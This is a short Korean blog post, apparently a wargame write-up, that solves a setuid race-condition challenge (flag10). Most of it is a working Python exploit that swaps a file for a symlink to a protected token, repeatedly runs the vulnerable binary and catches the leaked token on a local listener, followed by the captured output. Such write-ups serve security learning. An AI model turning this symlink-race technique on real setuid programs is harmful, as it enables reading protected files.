...2시간 동안 삽질해서 푼 레이스컨디션.. 파이썬 코드로 작성했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | import osimport socketimport subprocessimport threadingimport timeimport signaldef read_until(s,msg): tmp = "" while True: tmp += s.recv(1) if msg in tmp: print tmp returndef GetFlag(): s = socket.socket() Port = ('localhost',18211) s.bind(Port) s.listen(10) while True: cs,addr = s.accept() #print "[*]serer start " pid = os.fork() if pid==0: print "[*]server connection success ! " print read_until(cs,".oO Oo.") time.sleep(1) buf = cs.recv(100) print "[*]file is "+buf os.system("echo \""+buf+"\"> result") exit() else: os.waitpid(pid,0)def Racefile(): while True: os.system("rm -rf token") os.system("echo 'aaa' >> token") os.system("rm -rf token;ln -sf /home/flag10/token token") def Attack(): while True: args = "/home/flag10/flag10 token 127.0.0.1" proc = subprocess.Popen(args,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE) output = proc.communicate()[0] #print "[*]result: %s" %(output) os.system("rm -rf token")def main(): pid = os.fork() if pid == 0: Racefile() pid2 = os.fork() if pid2 == 0: GetFlag() Attack()if __name__ == '__main__': main() |
ex.py[*]server connection success !
.oO Oo.
None
[*]file is
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
[*]server connection success !
'Wargame' 카테고리의 다른 글
| [pwnable.kr]nuclear (0) | 2015.12.22 |
|---|---|
| [pwnable.kr]alloca (0) | 2015.12.18 |
| [pwnable.kr]crypto1 (0) | 2015.07.06 |
| Codegate2015 bookstore (0) | 2015.07.01 |
| [codegate2015]pirate_danbi (0) | 2015.05.12 |